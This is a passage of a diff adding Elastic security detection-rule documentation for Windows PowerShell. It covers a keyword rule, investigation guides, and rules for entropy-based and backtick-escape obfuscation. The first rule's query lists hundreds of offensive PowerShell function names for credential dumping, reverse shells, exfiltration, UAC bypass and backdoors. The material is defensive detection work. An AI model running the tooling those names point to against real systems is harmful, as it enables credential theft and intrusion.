Correlate other endpoint telemetry from the same `host.id` and time window to identify how PowerShell was started and what else executed immediately before and after. + +- Validate the account and host context: + - Review `user.name`, `user.domain`, and `user.id` for privilege level and whether the activity aligns with expected responsibilities and working hours. + - Review `host.name` and `host.id` to understand the system role and whether advanced PowerShell activity is expected on that host. + +- Scope for additional related activity on the same host: + - Search for other script blocks on the same `host.id` and `user.id` near the alert time to identify staging, follow-on commands, or cleanup actions. + - Pivot on `powershell.file.script_block_id` to ensure all fragments are reviewed and to detect repeated execution of the same script content. + +- Scope for related activity across the environment: + - Search for additional script blocks containing the same distinctive function name(s) or matching snippets of `powershell.file.script_block_text` to identify reuse and potential spread. + - If `file.path` or `file.name` is present, check for the same script artifact referenced on other hosts. + +- Correlate with adjacent telemetry (as available) to confirm impact and intent: + - Process telemetry to identify the initiating process (parent of PowerShell) and any suspicious child processes spawned after the script executed. + - Authentication telemetry to identify anomalous logons or access patterns involving the same user around the execution window. + - Network and DNS telemetry to identify outbound connections, internal scanning, or remote management activity aligned with `@timestamp`. + - Persistence telemetry to identify new or modified services, scheduled tasks, autoruns, or registry changes that align with the observed script capability. + + +*False positive analysis* + + +- Internal security or IT teams may run proof-of-concept or validation scripts for training, detection testing, or incident response. Confirm script ownership, change control, and expected distribution. + + +*Response and remediation* + + +- If the activity is unauthorized or suspicious: + - Contain the affected host to prevent additional execution and lateral movement. + - Preserve evidence by saving all related script block events (reconstruct full content using `powershell.file.script_block_id`, `powershell.sequence`, and `powershell.total`) and collecting any referenced on-disk script identified by `file.path`. + - Prioritize impact assessment based on the functions observed (credential access, injection, remote execution, persistence, or exfiltration) and look for corroborating activity in adjacent telemetry. + - Scope for additional impacted systems and accounts by searching for the same function names or script snippets across other hosts and users. + - Remove identified artifacts and persistence mechanisms, and monitor for re-execution using the same function-name patterns. + +- If the activity is confirmed benign: + - Document the justification (owner, purpose, expected hosts/users, and time window) and retain the reconstructed script content for future baselining. + - Where feasible, limit high-risk PowerShell tooling to controlled administrative hosts and approved accounts to reduce recurrence. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + "Add-DomainGroupMember" or "Add-DomainObjectAcl" or + "Add-RemoteConnection" or "Add-ServiceDacl" or + "Add-Win32Type" or "Convert-ADName" or + "Convert-LDAPProperty" or "ConvertFrom-LDAPLogonHours" or + "ConvertFrom-UACValue" or "Copy-ArrayOfMemAddresses" or + "Create-NamedPipe" or "Create-ProcessWithToken" or + "Create-RemoteThread" or "Create-SuspendedWinLogon" or + "Create-WinLogonProcess" or "Emit-CallThreadStub" or + "Enable-SeAssignPrimaryTokenPrivilege" or "Enable-SeDebugPrivilege" or + "Enum-AllTokens" or "Export-PowerViewCSV" or + "Find-AVSignature" or "Find-AppLockerLog" or + "Find-DomainLocalGroupMember" or "Find-DomainObjectPropertyOutlier" or + "Find-DomainProcess" or "Find-DomainShare" or + "Find-DomainUserEvent" or "Find-DomainUserLocation" or + "Find-InterestingDomainAcl" or "Find-InterestingDomainShareFile" or + "Find-InterestingFile" or "Find-LocalAdminAccess" or + "Find-PSScriptsInPSAppLog" or "Find-PathDLLHijack" or + "Find-ProcessDLLHijack" or "Find-RDPClientConnection" or + "Get-AllAttributesForClass" or "Get-CachedGPPPassword" or + "Get-DecryptedCpassword" or "Get-DecryptedSitelistPassword" or + "Get-DelegateType" or "New-RelayEnumObject" or + "Get-DomainDFSShare" or "Get-DomainDFSShareV1" or + "Get-DomainDFSShareV2" or "Get-DomainDNSRecord" or + "Get-DomainDNSZone" or "Get-DomainFileServer" or + "Get-DomainForeignGroupMember" or "Get-DomainForeignUser" or + "Get-DomainGPO" or "Get-DomainGPOComputerLocalGroupMapping" or + "Get-DomainGPOLocalGroup" or "Get-DomainGPOUserLocalGroupMapping" or + "Get-DomainGUIDMap" or "Get-DomainGroup" or + "Get-DomainGroupMember" or "Get-DomainGroupMemberDeleted" or + "Get-DomainManagedSecurityGroup" or "Get-DomainOU" or + "Get-DomainObject" or "Get-DomainObjectAcl" or + "Get-DomainObjectAttributeHistory" or "Get-DomainObjectLinkedAttributeHistory" or + "Get-DomainPolicyData" or "Get-DomainSID" or + "Get-DomainSPNTicket" or "Get-DomainSearcher" or + "Get-DomainSite" or "Get-DomainSubnet" or + "Get-DomainTrust" or "Get-DomainTrustMapping" or + "Get-DomainUser" or "Get-DomainUserEvent" or + "Get-Forest" or "Get-ForestDomain" or + "Get-ForestGlobalCatalog" or "Get-ForestSchemaClass" or + "Get-ForestTrust" or "Get-GPODelegation" or + "Get-GPPAutologon" or "Get-GPPInnerField" or + "Get-GPPInnerFields" or "Get-GPPPassword" or + "Get-GptTmpl" or "Get-GroupsXML" or + "Get-HttpStatus" or "Get-ImageNtHeaders" or + "Get-Keystrokes" or "New-SOASerialNumberArray" or + "Get-MemoryProcAddress" or "Get-MicrophoneAudio" or + "Get-ModifiablePath" or "Get-ModifiableRegistryAutoRun" or + "Get-ModifiableScheduledTaskFile" or "Get-ModifiableService" or + "Get-ModifiableServiceFile" or "Get-Name" or + "Get-NetComputerSiteName" or "Get-NetLocalGroup" or + "Get-NetLocalGroupMember" or "Get-NetLoggedon" or + "Get-NetRDPSession" or "Get-NetSession" or + "Get-NetShare" or "Get-PEArchitecture" or + "Get-PEBasicInfo" or "Get-PEDetailedInfo" or + "Get-PathAcl" or "Get-PrimaryToken" or + "Get-ProcAddress" or "Get-ProcessTokenGroup" or + "Get-ProcessTokenPrivilege" or "Get-ProcessTokenType" or + "Get-RegLoggedOn" or "Get-RegistryAlwaysInstallElevated" or + "Get-RegistryAutoLogon" or "Get-RemoteProcAddress" or + "Get-Screenshot" or "Get-ServiceDetail" or + "Get-SiteListPassword" or "Get-SitelistField" or + "Get-System" or "Get-SystemNamedPipe" or + "Get-SystemToken" or "Get-ThreadToken" or + "Get-TimedScreenshot" or "Get-TokenInformation" or + "Get-TopPort" or "Get-UnattendedInstallFile" or + "Get-UniqueTokens" or "Get-UnquotedService" or + "Get-VaultCredential" or "Get-VaultElementValue" or + "Get-VirtualProtectValue" or "Get-VolumeShadowCopy" or + "Get-WMIProcess" or "Get-WMIRegCachedRDPConnection" or + "Get-WMIRegLastLoggedOn" or "Get-WMIRegMountedDrive" or + "Get-WMIRegProxy" or "Get-WebConfig" or + "Get-Win32Constants" or "Get-Win32Functions" or + "Get-Win32Types" or "Import-DllImports" or + "Import-DllInRemoteProcess" or "Inject-LocalShellcode" or + "Inject-RemoteShellcode" or "Install-ServiceBinary" or + "Invoke-CompareAttributesForClass" or "Invoke-CreateRemoteThread" or + "Invoke-CredentialInjection" or "Invoke-DllInjection" or + "Invoke-EventVwrBypass" or "Invoke-ImpersonateUser" or + "Invoke-Kerberoast" or "Invoke-MemoryFreeLibrary" or + "Invoke-MemoryLoadLibrary" or + "Invoke-Mimikatz" or "Invoke-NinjaCopy" or + "Invoke-PatchDll" or "Invoke-Portscan" or + "Invoke-PrivescAudit" or "Invoke-ReflectivePEInjection" or + "Invoke-ReverseDnsLookup" or "Invoke-RevertToSelf" or + "Invoke-ServiceAbuse" or "Invoke-Shellcode" or + "Invoke-TokenManipulation" or "Invoke-UserImpersonation" or + "Invoke-WmiCommand" or "Mount-VolumeShadowCopy" or + "New-ADObjectAccessControlEntry" or "New-DomainGroup" or + "New-DomainUser" or "New-DynamicParameter" or + "New-InMemoryModule" or + "New-ThreadedFunction" or "New-VolumeShadowCopy" or + "Out-CompressedDll" or "Out-EncodedCommand" or + "Out-EncryptedScript" or "Out-Minidump" or + "PortScan-Alive" or "Portscan-Port" or + "Remove-DomainGroupMember" or "Remove-DomainObjectAcl" or + "Remove-RemoteConnection" or "Remove-VolumeShadowCopy" or + "Restore-ServiceBinary" or "Set-DesktopACLToAllowEveryone" or + "Set-DesktopACLs" or "Set-DomainObject" or + "Set-DomainObjectOwner" or "Set-DomainUserPassword" or + "Set-ServiceBinaryPath" or "Sub-SignedIntAsUnsigned" or + "Test-AdminAccess" or "Test-MemoryRangeValid" or + "Test-ServiceDaclPermission" or "Update-ExeFunctions" or + "Update-MemoryAddresses" or "Update-MemoryProtectionFlags" or + "Write-BytesToMemory" or "Write-HijackDll" or + "Write-PortscanOut" or "Write-ServiceBinary" or + "Write-UserAddMSI" or "Invoke-Privesc" or + "func_get_proc_address" or "Invoke-BloodHound" or + "Invoke-HostEnum" or "Get-BrowserInformation" or + "Get-DomainAccountPolicy" or "Get-DomainAdmins" or + "Get-AVProcesses" or "Get-AVInfo" or + "Get-RecycleBin" or "Invoke-BruteForce" or + "Get-PassHints" or "Invoke-SessionGopher" or + "Get-LSASecret" or "Get-PassHashes" or + "Invoke-WdigestDowngrade" or "Get-ChromeDump" or + "Invoke-DomainPasswordSpray" or "Get-FoxDump" or + "New-HoneyHash" or "Invoke-DCSync" or + "Invoke-PowerDump" or "Invoke-SSIDExfil" or + "Invoke-PowerShellTCP" or "Add-Exfiltration" or + "Do-Exfiltration" or "Invoke-DropboxUpload" or + "Invoke-ExfilDataToGitHub" or "Invoke-EgressCheck" or + "Invoke-PostExfil" or "Create-MultipleSessions" or + "Invoke-NetworkRelay" or "New-GPOImmediateTask" or + "Invoke-WMIDebugger" or "Invoke-SQLOSCMD" or + "Invoke-SMBExec" or "Invoke-PSRemoting" or + "Invoke-ExecuteMSBuild" or "Invoke-DCOM" or + "Invoke-InveighRelay" or "Invoke-PsExec" or + "Find-ActiveUsersWMI" or + "Get-SystemDrivesWMI" or "Get-ActiveNICSWMI" or + "Remove-Persistence" or "DNS_TXT_Pwnage" or + "Execute-OnTime" or "HTTP-Backdoor" or + "Add-ConstrainedDelegationBackdoor" or "Add-RegBackdoor" or + "Add-ScrnSaveBackdoor" or "Gupt-Backdoor" or + "Invoke-ADSBackdoor" or "Add-Persistence" or + "Invoke-ResolverBackdoor" or "Invoke-EventLogBackdoor" or + "Invoke-DeadUserBackdoor" or "Invoke-DisableMachineAcctChange" or + "Invoke-AccessBinary" or "Add-NetUser" or + "Invoke-Schtasks" or "Invoke-JSRatRegsvr" or + "Invoke-JSRatRundll" or "Invoke-PoshRatHttps" or + "Invoke-PsGcatAgent" or "Remove-PoshRat" or + "Install-SSP" or "Invoke-BackdoorLNK" or + "PowerBreach" or "InstallEXE-Persistence" or + "RemoveEXE-Persistence" or "Install-ServiceLevel-Persistence" or + "Remove-ServiceLevel-Persistence" or "Invoke-Prompt" or + "Invoke-PacketCapture" or "Start-WebcamRecorder" or + "Get-USBKeyStrokes" or "Invoke-KeeThief" or + "Get-Keystrokes" or "Invoke-NetRipper" or + "Get-EmailItems" or "Invoke-MailSearch" or + "Invoke-SearchGAL" or "Get-WebCredentials" or + "Start-CaptureServer" or "Invoke-PowerShellIcmp" or + "Invoke-PowerShellTcpOneLine" or "Invoke-PowerShellTcpOneLineBind" or + "Invoke-PowerShellUdp" or "Invoke-PowerShellUdpOneLine" or + "Run-EXEonRemote" or "Download-Execute-PS" or + "Out-RundllCommand" or "Set-RemoteWMI" or + "Set-DCShadowPermissions" or "Invoke-PowerShellWMI" or + "Invoke-Vnc" or "Invoke-LockWorkStation" or + "Invoke-EternalBlue" or "Invoke-ShellcodeMSIL" or + "Invoke-MetasploitPayload" or "Invoke-DowngradeAccount" or + "Invoke-RunAs" or "ExetoText" or + "Disable-SecuritySettings" or "Set-MacAttribute" or + "Invoke-MS16032" or "Invoke-BypassUACTokenManipulation" or + "Invoke-SDCLTBypass" or "Invoke-FodHelperBypass" or + "Invoke-EventVwrBypass" or "Invoke-EnvBypass" or + "Get-ServiceUnquoted" or "Get-ServiceFilePermission" or + "Get-ServicePermission" or + "Enable-DuplicateToken" or "Invoke-PsUaCme" or + "Invoke-Tater" or "Invoke-WScriptBypassUAC" or + "Invoke-AllChecks" or "Find-TrustedDocuments" or + "Invoke-Interceptor" or "Invoke-PoshRatHttp" or + "Invoke-ExecCommandWMI" or "Invoke-KillProcessWMI" or + "Invoke-CreateShareandExecute" or "Invoke-RemoteScriptWithOutput" or + "Invoke-SchedJobManipulation" or "Invoke-ServiceManipulation" or + "Invoke-PowerOptionsWMI" or "Invoke-DirectoryListing" or + "Invoke-FileTransferOverWMI" or "Invoke-WMImplant" or + "Invoke-WMIObfuscatedPSCommand" or "Invoke-WMIDuplicateClass" or + "Invoke-WMIUpload" or "Invoke-WMIRemoteExtract" or "Invoke-winPEAS" or + "Invoke-AzureHound" or "Invoke-SharpHound" or "Invoke-DownloadCradle" or + "Invoke-AppPathBypass" + ) and + not powershell.file.script_block_text : ( + "sentinelbreakpoints" and "Set-PSBreakpoint" + ) and + not user.id : ("S-1-5-18" or "S-1-5-19") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Sub-technique: +** Name: DCSync +** ID: T1003.006 +** Reference URL: https://attack.mitre.org/techniques/T1003/006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Group Policy Preferences +** ID: T1552.006 +** Reference URL: https://attack.mitre.org/techniques/T1552/006/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: Kerberoasting +** ID: T1558.003 +** Reference URL: https://attack.mitre.org/techniques/T1558/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Technique: +** Name: Domain Trust Discovery +** ID: T1482 +** Reference URL: https://attack.mitre.org/techniques/T1482/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Code Repository +** ID: T1567.001 +** Reference URL: https://attack.mitre.org/techniques/T1567/001/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Security Support Provider +** ID: T1547.005 +** Reference URL: https://attack.mitre.org/techniques/T1547/005/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Sub-technique: +** Name: Distributed Component Object Model +** ID: T1021.003 +** Reference URL: https://attack.mitre.org/techniques/T1021/003/ +* Sub-technique: +** Name: Windows Remote Management +** ID: T1021.006 +** Reference URL: https://attack.mitre.org/techniques/T1021/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscated-script-via-high-entropy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscated-script-via-high-entropy.asciidoc new file mode 100644 index 0000000000..bfd1de392e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscated-script-via-high-entropy.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-20-potential-powershell-obfuscated-script-via-high-entropy]] +=== Potential PowerShell Obfuscated Script via High Entropy + +Identifies PowerShell script blocks with high entropy and non-uniform character distributions. Attackers may obfuscate PowerShell scripts using encoding, encryption, or compression techniques to evade signature-based detections and hinder manual analysis by security analysts. + +*Rule type*: query + +*Rule indices*: + +* logs-windows.powershell* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential PowerShell Obfuscated Script via High Entropy* + + +This alert flags a large PowerShell script block with statistical characteristics consistent with obfuscated content (for example, encoded, compressed, or encrypted data embedded in a script). Triage should focus on establishing execution context (who/where), reconstructing the complete script content, identifying whether the high-entropy data is a benign embedded resource or a staged payload, and scoping for related activity. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Triage the execution context and initial severity: + - Review `@timestamp` to identify when the script block executed and align pivots to the same timeframe. + - Review `host.name` and `host.id` to identify the endpoint and validate whether PowerShell use is expected for its role. + - Review `user.name`, `user.domain`, and `user.id` to determine whether the account is expected to run PowerShell on this host and whether it is privileged, shared, or an automation/service identity. + - Review `powershell.file.script_block_length`, `powershell.file.script_block_entropy_bits`, and `powershell.file.script_block_surprisal_stdev` to understand whether the alert is driven by a large embedded blob (often staging) or more mixed script content (often a wrapper/loader plus embedded data). + +- Determine script provenance (file-backed vs. dynamic/interactive): + - If `file.path` is present, review `file.directory` and `file.name` to understand where the script originated. + - Assess whether `file.directory` is consistent with approved administrative tooling locations for this host and user, or whether it appears user-writable, temporary, or otherwise unusual. + - If `file.path` is absent, treat the script block as potentially interactive or dynamically generated and prioritize reconstructing the full script content and identifying the launch source via process correlation. + +- Reconstruct the full script content when fragmented: + - Pivot on `powershell.file.script_block_id` to collect all fragments associated with the script block. + - Order fragments using `powershell.sequence` and validate completeness using `powershell.total`. + - Analyze the reconstructed content as a whole to avoid missing small loader logic that precedes a large encoded/encrypted payload. + +- Perform structured content review of `powershell.file.script_block_text`: + - Identify large contiguous strings, byte arrays, or character arrays that may represent encoded or packed data; use `powershell.file.script_block_unique_symbols` to help distinguish limited-alphabet encodings from broader character sets. + - Look for transformation and staging patterns (for example, decode/decrypt/decompress routines) and whether transformed content is immediately executed (for example, dynamic invocation, in-memory loading, or secondary script evaluation). + - Extract any embedded indicators (domains, URLs, IPs, file paths/names, registry paths, scheduled task/service names, or distinctive strings) and retain them for scoping and containment. + +- Establish the execution chain and initiating source: + - Use `process.pid` with `host.id` and `@timestamp` to pivot to process telemetry for the PowerShell host instance that generated the script block. + - Identify the parent process and initiating mechanism (interactive shell, scheduled execution, remote management, document/script host, or other launcher). Treat unexpected launch sources or unusual timing for the host role as higher risk. + - Check whether the same `process.pid` generated additional suspicious script blocks around the alert time, and whether `user.id` and `host.id` align with expected administrative behavior. + +- Correlate for follow-on activity on the same host and account: + - Correlate on `host.id` and `@timestamp` to identify adjacent events that indicate impact (outbound connections, file writes, module downloads, persistence changes, or unusual authentication activity). + - When `file.path` is present, correlate on that path and timeframe for file creation/modification patterns that may indicate initial staging or subsequent cleanup. + +- Scope the activity across the environment: + - Search for other high-entropy script blocks on the same `host.id` and `user.id` before and after the alert to identify repeated execution or iterative staging. + - Search across hosts for the same `file.name` and `file.path` (when present) and compare `powershell.file.script_block_text` structure to identify reuse. + - Use distinctive substrings from `powershell.file.script_block_text` as pivots to find related script blocks even when paths or accounts differ. + + +*False positive analysis* + + +- Benign scripts can trigger this alert when they legitimately embed packed data (for example, compressed resources, serialized configuration blobs, embedded certificates/keys, or packaged modules) that increase entropy and appear non-uniform. +- Indicators supporting a benign determination: + - `file.path` and `file.name` consistently map to an approved internal tool or vendor-managed automation across multiple hosts. + - `user.id` represents an expected administrative or automation identity with predictable host targeting and execution timing. + - Reconstructed `powershell.file.script_block_text` shows a stable, repeatable structure over time, and any decoded content aligns with known operational functionality rather than staging and immediate secondary execution. +- Indicators supporting suspicion: + - Unusual `file.directory` for the host role or account, or absence of `file.path` combined with evidence of dynamic staging behavior. + - Reconstructed content includes clear execution of transformed data, in-memory loading patterns, or embedded external destinations not associated with known tooling. +- If determined benign, document the owning tool/team, expected `user.id` usage, and expected `file.path`/`file.name` (when present). Use those stable attributes for future baselining and noise reduction while preserving detection for new paths, new users, or materially different script structures. + + +*Response and remediation* + + +- If suspicious or malicious activity is confirmed: + - Contain the affected host to prevent further execution and lateral movement. + - Preserve relevant evidence from the alert, including full reconstructed script content (via `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`), and associated context (`@timestamp`, `host.*`, `user.*`, `file.*`, `process.pid`, and entropy metrics). + - Use extracted indicators from `powershell.file.script_block_text` to hunt across hosts and accounts, and to identify additional affected systems. + - Investigate and remediate follow-on activity identified during correlation (downloaded payloads, dropped files, persistence mechanisms, or unauthorized network access) and remove malicious artifacts from affected endpoints. + - If account compromise is suspected for `user.id` / `user.name`, initiate credential reset and review recent authentication activity and access paths associated with that identity. + +- If benign activity is confirmed: + - Record the justification and expected behavior (who runs it, where it runs, and expected `file.path` when present). + - Monitor for deviations from the established baseline, including new `user.id`, new `host.id`, new `file.path`, or significant changes in `powershell.file.script_block_text` structure or entropy characteristics. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + +This rule uses the following fields that require the Windows Integration v3.3.0 and up: `powershell.file.script_block_entropy_bits`, `powershell.file.script_block_surprisal_stdev`, and `powershell.file.script_block_length`. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and powershell.file.script_block_length > 1000 and + powershell.file.script_block_entropy_bits >= 5.5 and powershell.file.script_block_surprisal_stdev > 0.7 and + not file.directory: ( + "C:\Program Files (x86)\Microsoft Intune Management Extension\Content\DetectionScripts" or + "C:\Program Files\Microsoft Azure AD Connect Health Agent\Products\AdFederationService\AdfsDiagnostics\AdfsToolbox\diagnosticsModule\Private" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-backtick-escaped-variable-expansion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-backtick-escaped-variable-expansion.asciidoc new file mode 100644 index 0000000000..9f5d8af026 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-backtick-escaped-variable-expansion.asciidoc @@ -0,0 +1,215 @@ +[[prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-backtick-escaped-variable-expansion]] +=== Potential PowerShell Obfuscation via Backtick-Escaped Variable Expansion + +Detects PowerShell scripts that uses backtick-escaped characters inside `${}` variable expansion (multiple backticks between word characters) to reconstruct strings at runtime. Attackers use variable-expansion obfuscation to split keywords, hide commands, and evade static analysis and AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Potential PowerShell Obfuscation via Backtick-Escaped Variable Expansion* + + +This rule identifies Windows PowerShell Script Block Logging events where backtick-escaped characters are embedded within `${}` variable expansion. This technique can be used to split tokens and reconstruct variable names or keywords at runtime, reducing the effectiveness of simple string-based detections and content scanning. + +Focus analysis on (1) who executed the script, (2) where it executed, (3) how much of the script is obfuscated, and (4) what the script ultimately does after deobfuscation. Higher `Esql.script_block_pattern_count`, elevated `powershell.file.script_block_entropy_bits`, and unexpected script origin (for example, unusual `file.path`) increase the likelihood of malicious intent. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `Esql.script_block_tmp`: Transformed script block where detection patterns replace original content with a marker to support scoring/counting and quickly spot match locations. +- `Esql.script_block_pattern_count`: Count of matches for the detection pattern(s) observed in the script block content. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Validate execution scope and context: + - Review `host.name` / `host.id` to understand where the script ran and whether the endpoint role makes this activity unexpected. + - Review `user.name`, `user.domain`, and `user.id` to determine whether the account is expected to run PowerShell on this host and to identify any unusual account usage patterns in your environment. + - If `file.path` / `file.name` / `file.directory` are present, determine whether the script appears to originate from an expected location (for example, a managed scripts directory) versus an unusual or user-writable location. + +- Reconstruct the complete script before interpreting intent: + - Pivot on `powershell.file.script_block_id` and collect all related fragments. + - Use `powershell.sequence` and `powershell.total` to verify you have the full set of fragments and to order them correctly. + - Review the reconstructed `powershell.file.script_block_text` for staging behavior (for example, an initial deobfuscation routine followed by a second stage that performs the primary action). + +- Locate the obfuscated variable expansions and normalize the content: + - Use `Esql.script_block_tmp` to quickly identify the positions of suspicious `${}` expansions, then review the corresponding sections in `powershell.file.script_block_text`. + - Use `Esql.script_block_pattern_count` to 